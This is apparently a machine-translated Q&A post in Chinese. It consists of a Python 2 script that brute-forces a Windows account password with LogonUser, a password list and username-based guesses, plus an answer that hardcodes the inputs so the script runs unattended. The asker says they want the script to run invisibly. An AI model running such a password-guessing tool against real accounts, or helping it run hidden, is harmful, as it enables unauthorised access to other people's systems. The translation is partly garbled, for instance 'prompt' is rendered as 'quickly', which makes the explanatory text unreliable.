问题
当我运行我的python脚本时,如下例所示:
c:/python
tool.py
当我运行这个程序时,它要求我手动输入扫描中的用户名,然后要求我手动输入包含所需其他信息的文件名。
问题
我有另一个解决方案另一篇帖子如何以不可见的方式运行该过程,但是运行时仍会提示我输入这些值,我希望它运行时不提示我输入这些值。
Python 脚本
def verify_success(username, password):
from win32security import LogonUser
from win32con import LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT
if password == 'BLANK':
try:
password = ""
LogonUser(username, None, password, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT)
return True
except Exception, e:
if "blank passwords" in str(e):
return True
else:
return False
else:
try:
LogonUser(username, None, password, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT)
return True
except Exception, e:
return False
u = raw_input('Enter the username you want to brute: ')
fis = raw_input('Enter the password_list file: ')
pwds = open(fis,'rU')
passwds = pwds.readlines()
for password in passwds:
if password.rstrip() == "%user%":
password = u.rstrip()
if password.rstrip() == "%user%1":
password = u.rstrip()+'1'
if password.rstrip() == "%user%12":
password = u.rstrip()+'12'
if password.rstrip() == "%user%123":
password = u.rstrip()+'123'
if verify_success(u, password.rstrip()):
print 'SUCCESS: => USERNAME: '+u+' '+'PASSWORD: '+password.rstrip()
break
else:
print '[+]Trying: '+u+' '+password.rstrip()
答案1
原因
Python 脚本使用raw_input
函数,因此它将迅速的将这些变量值设置为何值。
raw_input([提示])
如果存在 prompt 参数,则将其写入标准输出,不带尾随换行符。然后,该函数从输入中读取一行,将其转换为字符串(删除尾随换行符),并返回该字符串。当读取 EOF 时,EOF错误被提出。
修复
要解决此问题,只需将这部分逻辑更改为使用变量而是将值设置为所需的值。
变量
变量是用来保存可能发生变化的值的东西。简单来说,变量就是一个可以存放东西的盒子。你可以使用变量来存储各种东西,但现在我们只讨论如何在变量中存储数字。
lucky = 7 print (lucky) 7
解释变更
在你的 Python 脚本中,你需要改变旧逻辑看起来像新逻辑。这将阻止在您以交互方式输入这些值时弹出提示。
您只需要确保将<username>
和<file.txt>
值设置为您需要的静态值。一旦您进行这些更改,提示就会停止。
旧逻辑(删除)
u = raw_input('Enter the username you want to brute: ')
fis = raw_input('Enter the password_list file: ')
新逻辑(包括)
u = "<username>"
fis = "<file.txt>"